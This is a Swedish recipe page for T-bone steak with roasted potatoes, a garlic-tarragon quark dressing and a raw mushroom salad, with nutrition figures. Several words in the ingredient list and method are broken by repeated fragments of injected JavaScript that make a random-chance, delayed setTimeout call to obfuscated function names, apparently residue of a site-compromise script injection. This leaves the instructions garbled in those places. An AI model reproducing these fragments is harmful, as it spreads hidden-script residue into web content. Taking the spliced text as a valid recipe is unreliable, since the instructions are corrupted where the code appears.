T-bone steak, rostad potatis, vitlöks/dragon dressing med rawsallad.
2013-08-26- Course: Huvudrätter
- Skill Level: Medel
- Servings : 1-2
- Prep Time : 15m
- Cook Time : 20m
- Ready In : 25m
Ingredienser
- 200- 400g T-bone steak
- 120g 3st kvartade potatisar
Vitlöks-/dragondressing
- 50g kvarg
- 1/2 krossad vitlök
- 1/2 tesked dragon
- Örtsalt
Rawsallad
- 70g kvartad skogchampinjon
- 50g linsgroddar (eller andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ra groddar)
- 20g fin hackad lök
- 30g skivad grön paprika
- 30g tärnad avokado
- 40g spenat
Marinad
- 5g 1 tesked sojasås
- 5g 1-2 teskedar olivolja
- 10g 1 matsked äpplecidervinäger
- 1/2 krossad vitlöksklyfta
- 1/4 tesked sambaolek
- 1 tesked persilja
- Örtsalt
Gör så här:
Sätt igång ugnen på 200C
Lägg potatisen i en stekpanna i ugnen i ca 15 minuter, krydda med örtsalt.
Undertiden blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a dressingen och salladen. Lägg champinjonerna i en skål med marinade i 5 minuter. Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a sen i allt förutom spenat. Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a i spenaten, precis innan ni ska servera den.
När det är ca 10 minuter kvar, grilla eller stek T-bone steaken i en grill/stekpanna, krydda med örtsalt och svartpeppar. Låt vila i ett par minuter.
Med 200g T-bone
Kalorier 512,5
Protein 49,6
Kolhydrater 37,5
Fett 16,7
Med 400g T-bone
Kalorier 697
Protein 82,3
Kolhydrater 37,5
Fett 22,5
Medlemsbetyg
(5 / 5)
2 people rated this recipe
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Näringssinnehåll
Informationen gäller per portion
-
kCal
512 -
Protein
49 -
Kolhydrater
37 -
Fett
16,7
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